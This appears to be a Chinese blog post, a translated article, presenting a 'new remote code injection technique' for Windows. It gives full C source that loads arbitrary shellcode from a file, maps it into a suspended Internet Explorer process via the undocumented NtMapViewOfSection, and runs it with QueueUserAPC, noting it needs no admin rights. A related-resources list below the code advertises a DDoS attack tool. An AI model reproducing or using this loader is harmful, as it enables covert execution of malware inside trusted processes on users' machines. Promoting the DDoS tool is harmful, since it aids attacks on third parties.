`
lovnet
  • 浏览: 6693136 次
  • 性别: Icon_minigender_1
  • 来自: 武汉
文章分类
社区版块
存档分类
最新评论

远程代码注入新技术

阅读更多

远程代码注入新技术

BY Yogle

我研究出了一种新的在远程进程中执行代码的可能性,就是利用一个未文档函数在远程进程地址空间写入代码,并且用一种新的技术在远程进程中执行它,这种技术完全工作在用户模式下,并且不需要特殊的条件比如像管理员权限或者之类的要求。请让源码说明一切。我为我的英文水平感到抱歉,我来自德国。


#define _WIN32_WINNT 0x0400
#include <windows.h>

typedef LONG NTSTATUS, *PNTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;

typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*, SECTION_INHERIT, ULONG, ULONG );

func_NtMapViewOfSection NtMapViewOfSection = NULL;


LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow,
DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )
{
NTSTATUS Status;
LARGE_INTEGER SectionOffset;
ULONG ViewSize;
ULONG Protect;
LPVOID ViewBase;


// 转换偏移量
SectionOffset.LowPart = dwFileOffsetLow;
SectionOffset.HighPart = dwFileOffsetHigh;

// 保存大小和起始地址
ViewBase = lpBaseAddress;
ViewSize = dwNumberOfBytesToMap;

// 转换标志为NT保护属性
if (dwDesiredAccess & FILE_MAP_WRITE)
{
Protect = PAGE_READWRITE;
}
else if (dwDesiredAccess & FILE_MAP_READ)
{
Protect = PAGE_READONLY;
}
else if (dwDesiredAccess & FILE_MAP_COPY)
{
Protect = PAGE_WRITECOPY;
}
else
{
Protect = PAGE_NOACCESS;
}

//映射区段
Status = NtMapViewOfSection(hFileMappingObject,
hProcess,
&ViewBase,
0,
0,
&SectionOffset,
&ViewSize,
ViewShare,
0,
Protect);
if (!NT_SUCCESS(Status))
{
// 失败
return NULL;
}

//返回起始地址
return ViewBase;
}

int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
{
HMODULE hDll = LoadLibrary( "ntdll.dll" );

NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection");

// 取ShellCode,任何你想实现的
HANDLE hFile = CreateFile ("C:\\shellcode.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);

// 启动目标进程
STARTUPINFO st;
ZeroMemory (&st, sizeof(st));
st.cb = sizeof (STARTUPINFO);

PROCESS_INFORMATION pi;
ZeroMemory (&pi, sizeof(pi));

CreateProcess ("C:\\Programme\\Internet Explorer\\iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);


// 注入shellcode到目标进程地址空间
LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);

// 创建一个新的能够在目标线程恢复是首先执行的APC
QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);
ResumeThread (pi.hThread);
CloseHandle (hFile);
CloseHandle (hMappedFile);
CloseHandle (pi.hThread);
CloseHandle (pi.hProcess);
return 0;
}


分享到:
评论

相关推荐

    PHP基于Linux的远程管理系统客户端的实现(源代码+lw).zip

    我们还使用了依赖注入和面向接口编程等技术,以降低代码的耦合度和提高代码的可扩展性。 总之,我们的通用性PHP开发项目源码采用了一系列先进的技术和框架,以提供高效、可扩展和可靠的Web应用程序。无论您是初学者...

    PHP基于Linux的远程管理系统服务器端的实现(源代码+lw).zip

    我们还使用了依赖注入和面向接口编程等技术,以降低代码的耦合度和提高代码的可扩展性。 总之,我们的通用性PHP开发项目源码采用了一系列先进的技术和框架,以提供高效、可扩展和可靠的Web应用程序。无论您是初学者...

    利用输入法注入DLL

    注入DLL是做全局钩子或者拦截类软件都有可能用到的技术,如果做外挂的话我们也有 可能需要注入一个DLL到游戏进程中去干点什么“坏事”。 但我们知道现在要注入DLL是越 来越难了。场景1:制作火星文输入法外挂,...

    网络渗透技术

    内容提要 ...堆溢出利用技术 第5章 格式化串漏洞利用技术 第6章 内核溢出利用技术 第7章 其他利用技术 第8章 漏洞发掘分析 第9章 CGI渗透测试技术 第10章 SQL注入利用技术 附录A 网络安全英文术语解释

    2021年山东省职业院校技能大赛网络安全赛项C模块Linux靶机

    (三)模块C CTF夺旗-攻击 (本模块200分) 一、项目和任务描述: 假定你是某企业的网络安全渗透测试工程师,负责...5.操作系统提供的服务可能包含了远程代码执行的漏洞,要求用户找到远程代码执行的服务,并利用此漏洞

    JAVA上百实例源码以及开源项目源代码

    Java非对称加密源码实例 1个目标文件 摘要:Java源码,算法相关,非对称加密 Java非对称加密源程序代码实例,本例中使用RSA加密技术,定义加密算法可用 DES,DESede,Blowfish等。 设定字符串为“张三,你好,我是李四”...

    Spring.net框架

    ConfigHandler类将根据该结点下的内容处理并创建一ConfigInfo对象(关于ConfigInfo、 ObjectInfo以及PropertyInfo的代码可自行查看源代码,这里就不再赘述)。ConfigHandler类的代码实现如下: using System; using ...

    云锁服务器端 v1.5.127.zip

    采用CS架构通过PC远程管理服务器,最大程度降低服务器资源占用,以操作系统内核加固技术和web访问控制技术为核心防御体系,能帮助用户有效抵御CC攻击、SQL注入、XSS跨站攻击、漏洞攻击、病毒、木马、后门等黑客行为...

    完美学校网站系统全站源代码学校网站模板下载

    36:远程非法提交,权限提升,SQL注入漏洞修正补修正,以及新闻上下篇功能及top透明广告条支持 37:添加无大小类文章BUG修正,其他小问题。top.asp自动换行(可选) 38:留言簿恶意广告攻击漏洞修正(IP过滤,留言...

    企业网站管理系统YothCMS v1.0 修正版

    YothCMS是由 石家庄优斯科技有限公司开发的一套完全开源建站系统,主要面向企业进行快速的建造简洁,高效,易用,安全的公司企业网门户站,稍具技术的开发人员就能够使用本系统以最低的成本、最少的人力投入在最短的...

    JAVA上百实例源码以及开源项目

     Java非对称加密源程序代码实例,本例中使用RSA加密技术,定义加密算法可用 DES,DESede,Blowfish等。  设定字符串为“张三,你好,我是李四”  产生张三的密钥对(keyPairZhang)  张三生成公钥(publicKeyZhang...

    大型学校教育类网站源码,测试完整!

    职业技术学院网站,学院网站,职业学校网站,培训学校网站,大学学校网站,大专学校网站,高职高专学校网站,电脑学校网站,职业学校,培训学校,技术学校,中职学校网站,技术学校网站管理系统正式版,教育局网站,政府教育...

    DarkShell_Linux-Win集群版V2014年

    VIP版本攻击代码实时更新,通过服务器获取最新攻击代码,无需更换服务端即可享受最新攻击代码的优势,云端DDOS,云数据,云获取,云攻击,云更新,开辟新业界篇章,经典在继续。 2014经典力作,DarkShell一切攻击...

    课程设计报告---基于JAVA的视频会议系统设计与实现.doc

    2 1.5 现行研究存在的问题及解决办法 3 1.5.1 需求分析问题 3 1.5.2 系统设计问题 3 1.5.4 代码实现问题 3 1.5.5 界面设计问题 3 1.6 本课题要达到的设计目标 3 第二章 系统分析 4 2.1 可行性分析 4 2.1.1 技术可行...

    Virbox 开发者工具盒-软件加密工具

    深思的“碎片代码执行”从根本上解决上述问题,利用成熟的代码提取技术,从软件中抽取大量代码,经过加密混淆后在安全环境中执行,融合Vibrox加密引擎、虚拟化和驱动技术,让软件执行过程更安全。 碎片代码执行可以...

    各级教学教育学校网站源码下载

    36:远程非法提交,权限提升,SQL注入漏洞修正补修正,以及新闻上下篇功能及top透明广告条支持 37:添加无大小类文章BUG修正,其他小问题。top.asp自动换行(可选) 38:留言簿恶意广告攻击漏洞修正(IP过滤,留言...

    java开源包8

    J2C 将 Java 代码转成 C++ 代码,这是源码级别的转换,输出的 C++ 代码是有效的代码。 OSGi 分布式通讯组件 R-OSGi R-OSGi 是一套适用于任意满足 OSGi 架构的分布式通讯组件。它以 jar 的形式发布,部署容易,使用...

    java开源包10

    J2C 将 Java 代码转成 C++ 代码,这是源码级别的转换,输出的 C++ 代码是有效的代码。 OSGi 分布式通讯组件 R-OSGi R-OSGi 是一套适用于任意满足 OSGi 架构的分布式通讯组件。它以 jar 的形式发布,部署容易,使用...

Global site tag (gtag.js) - Google Analytics